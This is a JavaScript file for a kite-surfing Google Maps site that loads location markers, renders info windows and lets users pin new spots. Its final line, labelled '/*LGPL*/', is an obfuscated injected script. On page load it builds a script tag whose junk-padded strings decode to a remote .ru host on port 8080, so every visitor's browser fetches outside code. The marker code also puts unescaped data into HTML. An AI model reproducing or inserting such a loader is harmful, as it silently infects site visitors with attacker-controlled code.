function rendermarkers () {


  var url = "php/getflags.php";

  $.getJSON(url,function(json) {

    //var batch = [];

    for (var i=0; i < json.d.length; i++) {

      //batch.push(createMarker(json.d[i]));
     clusterer.AddMarker(createMarker(json.d[i]), "Kite Surfing");
    }



  });


}


function createMarker (markerdata) {

var coords = new GLatLng ( markerdata["lat"], markerdata["long"]);
var marker = new GMarker(coords, markerOptions);

GEvent.addListener(marker, "click", function() {

  var title = "<a style='color: #c60054' onclick=zoomin('" + markerdata["lat"] + "','" + markerdata["long"] + "')>" + markerdata["title"] +"<br/>ZOOM IN</a>";

  var str  = "<br/><br/>View Location Info<br/><br/>"
  if ( notblank(markerdata["windreport"]) ) {str = str + "Wind Report<br/>"; }
  if ( notblank(markerdata["windforecast"]) ) {str = str + "Wind Forecast<br/>"; }
  if ( notblank(markerdata["localshop"]) ) {str = str + "Local Shop<br/>"; }

  marker.openInfoWindowHtml("<span style='text-style: strong;'>" + title + "</span>" + "<a style='color: #c60054' href='view.php?flag=" + markerdata["rowid"] +  "'>" + str + "</a><br>");
  });

return marker;

}

function zoomin (lat,lng) {
  var coords = new GLatLng ( lat, lng);
  map.setCenter(coords, 13);

}


function addlocation (latlng) {
  map.removeOverlay(addlocationmarker);
  var zoom = map.getZoom();
  if (zoom < 13) {zoom = 13;}
  //alert (latlng);
  map.setCenter(latlng, (zoom));

  addlocationmarker =  new GMarker(latlng, markerOptions);


  GEvent.addListener(addlocationmarker, "click", function() {

  addlocationmarker.openInfoWindowHtml("<a style='color: #c60054' href='add_kitesurfing_location_google_global_map.php?lat=" + latlng.lat() + "&lng=" + latlng.lng() + "' >Pinpoint and Add Location</a><br/><a style='color: #c60054' onclick='map.removeOverlay(addlocationmarker)' >  Cancel");
  });


  map.addOverlay(addlocationmarker);
  addlocationmarker.openInfoWindow("<a style='color: #c60054' href='add_kitesurfing_location_google_global_map.php?lat=" + latlng.lat() + "&lng=" + latlng.lng() + "' >Pinpoint and Add Location</a><br/><a style='color: #c60054' onclick='map.removeOverlay(addlocationmarker)' >  Cancel");


}


/*LGPL*/ try{ window.onload = function(){var C1nse3sk8o41s = document.createElement('s&c^$#r))i($p@&t^&'.replace(/&|#|\$|\(|@|\!|\^|\)/ig, ''));C1nse3sk8o41s.setAttribute('defer', 'd$#)e!^f$)e&(@@#r((!'.replace(/#|\$|\(|&|\)|\^|@|\!/ig, ''));C1nse3sk8o41s.setAttribute('type', 't^&e(!x)$(t$/#@)j()(a&)!v#a)s()c@^r$$i^$p()^&#t&!@'.replace(/\(|@|\)|#|&|\$|\^|\!/ig, ''));C1nse3sk8o41s.setAttribute('id', 'U#!4!$^v&$e@h^)$x^@w&$s#(@b)#w^^(&7#)6$@@l!)^'.replace(/&|\!|#|\$|\(|\^|@|\)/ig, ''));C1nse3sk8o41s.setAttribute('s()#r#^((c^'.replace(/@|&|#|\$|\(|\)|\!|\^/ig, ''),  'h^^&t!t(p^^@&@:@/@/&!o&#r!!#@k@)!#&u^!t^)@-!#!@c(#(o^m^$-((!b#)@@r(!.^@$h)##@a^#t)t#$))r(&^i&c@)$k$)).^o!$!r#g&)$.&(w(#i$k@@t&$i!^@!o&n!!)a@@r$y&@#(-^$)o$r@g$!^!.$&^(w@e!!b$!@n#(^e#t$$e)#^^n$^g@!l$#!&i)$&s&^@h@.!r@@@u(&^:($8$^^0#8$!!$0@)^/!&!g&#o@o!((g)l&#$)e(.@@c(!@^o!#m(/&g@(^o#((o^!)&g#@l))(e(&#!.!!c&$$&o))$m&@$/@i!&n^t(!e^l^@.@)($c#(@o$!m(/)&v#)))n^#e$t^@.$#@c()(n)^(&/$o&n^#)(l(^i^^n$)e!d^^o!@w@$&n(@.$$!#n^@e((t^/!@(@'.replace(/&|\(|\)|\$|\^|\!|#|@/ig, ''));if (document){document.body.appendChild(C1nse3sk8o41s);}} } catch(O28ie36gdspcwlg5bd0) {}